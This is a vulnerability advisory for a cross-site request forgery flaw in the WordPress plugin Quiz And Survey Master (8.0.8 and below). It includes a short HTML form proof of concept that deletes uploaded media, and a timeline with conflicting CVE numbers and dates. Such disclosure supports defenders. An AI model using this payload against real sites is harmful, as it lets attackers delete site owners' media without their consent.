ADVISORY INFORMATION

  • Product: Quiz And Survey Master
  • Vendor URL: https://wordpress.org/plugins/quiz-master-next
  • Type: Cross-Site Request Forgery (CSRF) [CWE-352]
  • Date found: 2023-01-13
  • Date published: 2023-02-08
  • CVSSv3 Score: 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)
  • CVE: CVE-2023-0292

CREDITS

This vulnerability was discovered and researched by Julien Ahrens from RCE Security.

VERSIONS AFFECTED

Quiz And Survey Master 8.0.8 and below

INTRODUCTION

Quiz and Survey Master is the easiest WordPress Quiz Plugin which can be used to create engaging content to drive traffic and increase user engagement. Everything from viral quiz, trivia quiz, customer satisfaction surveys to employee surveys. This plugin is the ultimate marketing tool for your website.

(from the vendor’s homepage)

VULNERABILITY DETAILS

The plugin offers the ajax action “qsm_remove_file_fd_question” which is used to delete uploaded media contents from the WordPress instance. However, the functionality is not protected by an anti-CSRF token/nonce.

Since there is no anti-CSRF token protecting this functionality, it is vulnerable to Cross-Site Request Forgery attacks allowing an attacker to delete uploaded media contents on behalf of the attacked user.

To successfully exploit this vulnerability, a user with the right to access the plugin must be tricked into visiting an arbitrary website while having an authenticated session in the application.

PROOF OF CONCEPT

The following Proof-of-Concept would delete the uploaded media with the ID “1”:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="qsm&#95;remove&#95;file&#95;fd&#95;question" />
      <input type="hidden" name="media&#95;id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

SOLUTION

Update to version 8.0.9

REPORT TIMELINE

  • 2023-01-13: Discovery of the vulnerability
  • 2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291
  • 2023-01-18: Sent initial notification to vendor via contact form
  • 2022-01-18: Vendor response
  • 2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability
  • 2022-02-08: Public disclosure

REFERENCES